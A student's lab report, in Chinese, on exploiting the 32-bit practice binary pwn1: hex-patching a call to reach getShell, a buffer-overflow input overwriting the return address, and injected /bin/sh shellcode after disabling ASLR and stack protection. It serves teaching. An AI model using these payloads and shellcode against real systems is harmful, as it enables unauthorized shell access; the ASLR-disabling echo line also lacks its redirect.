2019-2020-2 20175316盛茂淞《网络对抗技术》Exp1 PC平台逆向破解

2019-2020-2 20175316盛茂淞《网络对抗技术》Exp1 PC平台逆向破解

一、实践目的

• 本次实践的对象是一个名为pwn1的linux可执行文件。

• 该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

• 该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

二、实践要求

• 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。

• 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。

• 注入一个自己制作的shellcode并运行这段shellcode。

  这几种思路，基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段

  • 强行修改程序执行流

  • 以及注入运行任意代码。

三、相关知识点

1.反汇编指令

objdump -d pwn1 | more
object dump 项目导出
-d disassemble 反汇编
| 管道符，把一个命令的标准输出传到另一个命令的标准输入中
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2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”

3.掌握反汇编与十六进制编程器

反汇编指令objdump -d filename

object dump 项目导出
d disassemble 反汇编
|管道符，把一个命令的标准输出传到另一个命令的标准输入中
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• 十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下：
  • 输入命令vi pwn1查看可执行文件内容，为ASCII码形式显示；
  • 输入:%!xxd将显示模式切换为16进制模式;
  • 进行相关操作后，输入:%!xxd -r转换16进制为为ASCII码形式。

四、实践内容

（一）任务一 直接修改程序机器指令，改变程序执行流程

思路

• 找到getShell函数的位置
• 修改main函数中，call指令的参数，使得程序调用getShell函数

步骤

• 下载目标文件pwn1,使用objdump -d pwn1对pwn1反汇编：
  

• 主函数中call 8048491 <foo>的汇编指令将调用位于地址8048491处的foo函数，其对应机器指令为e8 d7ffffff，e8为跳转之意。当解释执行e8这条指令时，CPU就会执行EIP + d7ffffff这个位置的指令。d7ffffff是补码,80484ba +d7ffffff= 80484ba-0x29是8048491的值

• main函数调用foo，对应机器指令为e8 d7ffffff

  • 那如果要修改后让它调用getShell，只要修改d7ffffff为getShell-80484ba对应的补码就可以
  • 通过计算804847d-80484ba得到补码为c3ffffff

• 由此我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff以实现改变程序执行流程

  • 所以我们使用Esc+:%!xxd将其转换为16进制显示出来，/d7ff查找所需更改处，回车选中d，使用r修改，即rc+r3,:%!xxd -r将文件再次转换为机器代码，如果不这么做会导致无法运行，然后Esc+:wq保存退出。

• 运行pwn2，发现会得到shell提示符，证明我们的修改成功改变了程序执行流程
  

（二）任务二：利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。

• 首先依旧是反汇编pwn1，可见运行时调用如下foo函数，有Buffer overflow漏洞，其指令lea只为用户预留了1c=28个字节，如果超出则会造成溢出，覆盖返回地址
  

• 我们使用gdb进行调试确定输入字符串到哪里时会覆盖到返回地址：

• 使用gdb调试pwn1，使程序发生段错误，使用info r查看寄存器的值
  

• 此时eip的值为0x35353535，35的ASCII码表对应为5，所以我们将所有的5改为12345678，确认具体是哪一位之后造成溢出：

• 可见是4321,并知道存储方式为小端模式，所以我们只要把1234替换为getShell的内存地址，在运行pwn1时输入，我们就可以实现改变程序执行流

• getshell的内存地址为0804847d,因为是小端模式，所以我们应输入11111111222222223333333344444444\x7d\x84\x04\x08,perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input使输出重定向>将perl生成的字符串存储到文件input中。

• 执行后使用16进制查看指令xxd input查看input文件的内容是否如预期。
  

• 然后使用(cat input; cat) | ./pwn1将input的输入，通过管道符“|”，作为pwn1的输入。

• 经测试程序已经调用了getShell函数，达到了改变程序执行流的目的
  

（三）任务三：注入一个自己制作的shellcode并运行这段shellcode。

1. 准备shellcode

• shellcode就是一段机器指令（code）
• 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
• 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
• 和前面的getshell功能一致，唯一的区别在于，getshell是可执行程序里已有的，只是用户不可见，而shellcode是自己编写的，可以实现任何功能。

2. 攻击思路

• 攻击思路还是利用缓冲区溢出
• 同理还是使若输入的字符串第33、34、35、36这四个字节覆盖EIP的值，即返回地址
• 返回地址不再是修改为getshell的地址，而是shellcode的地址
• 确定shellcode的位置，一般放在EIP之后
• 构造字符串，使第33、34、35、36这四个字节指向shellcode的起始地址
• 在shellcode前加入0x90 0x90这样的空指令NOPS，因为不知道shellcode的起始地址，这种布局模式称为RNS（return nops shellcode）模式

3. 构造要注入的payload

• Linux下有两种基本构造攻击buf的方法：
  • retaddr+nop+shellcode（一般来说使用RNS的形式）
  • nop+shellcode+retaddr（约束shellcode的大小）
• 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
• 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

4. 实验步骤

• 设置堆栈可执行

execstack -s pwn1_20175316 //设置堆栈可执行
execstack -q pwn1_20175316 //查询文件的堆栈是否可执行

• 关闭地址随机化（若文件权限不够，则输入sudo -s），2为开启，0为关闭

more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭
echo "0" /proc/sys/kernel/randomize_va_space             //关闭随机化

• 注入一段代码，我们首先构造一个input_shellcode

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

• 使用xxd input_shellcode查看文件内容

• 通过管道符|，作为pwn1的输入,格式为(cat input_shellcode; cat ) | ./pwn1_20175316

• 在另外一个窗口ps -ef | grep pwn1_20175316能看见当前运行pwn1的进程号为2662；
  

• 启用gdb调试进程，输入attach 2662动态调试当前进程号进程

• 使用disassemble foo反编译
  

• 可以看到ret指令的地址为0x080484ae，在此处设置断点break *0x080484ae

• 在另一个终端按下回车，这样程序就会执行之后在断点处停下来

• 再在gdb调试的终端输入c继续运行程序

• info r esp查看esp寄存器地址

• x/16x 0xffffd36c以16进制形式查看0xffffd36c地址后面16字节的内容
  

• 0xffffd36c存放的数据是01020304，那么shellcode地址就是0xffffd370

• 修改input_shellcode文件对应代码为：

perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

• 然后使用(cat input_shellcode;cat) | ./pwn1_20175316将input_shellcode的输入，通过管道符“|”，作为pwn1的输入。
• 经检验实现了shell功能：
  

过程中遇到的问题

原因：注入地址不对
应为perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

实践总结

什么是漏洞？漏洞有什么危害？

漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统。
漏洞会影响到的范围很大，包括系统本身及其支撑软件，网络客户和服务器软件，网络路由器和安全防火墙等。换而言之，在这些不同的软硬件设备中都可能存在不同的安全漏洞问题。在不同种类的软、硬件设备，同种设备的不同版本之间，由不同设备构成的不同系统之间，以及同种系统在不同的设置条件下，都会存在各自不同的安全漏洞问题。漏洞威胁了计算机的系统安全，给攻击者有可乘之机，可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。

心得体会

通过三个小实验以及刘老师课上的讲解，对缓冲区溢出攻击有了更多的了解。听老师讲和自己做还是存在差别，实验中遇到的问题也通过同学的帮助或者百度解决。以后还要通过更多的实践操作巩固所学。
通过这次实验，我了解了PC平台逆向破解技术，掌握了函数调用栈帧结构、缓冲区溢出攻击技术和shellcode攻击技术，这些技术其实都挺好玩的，学习起来也充满乐趣。本次实验虽然比较简单，但是过程也出现了很多问题，比如之前共享文件夹的设置没有完全成功，折腾了一番才找到共享文件夹...没有安装32位兼容器的问题也耗费了很多时间来查找...我特别感谢刘老师和帮助我解决问题的给我同学，让我的实验少花费了更多时间，我之前的学习模式更偏向自己在网上找答案，如果网上解释的不详细或不正确，会造成很大的麻烦（这次的upgrade就让我的kali蓝屏了...差点自闭），现在我发现了询问老师同学会更快更方便～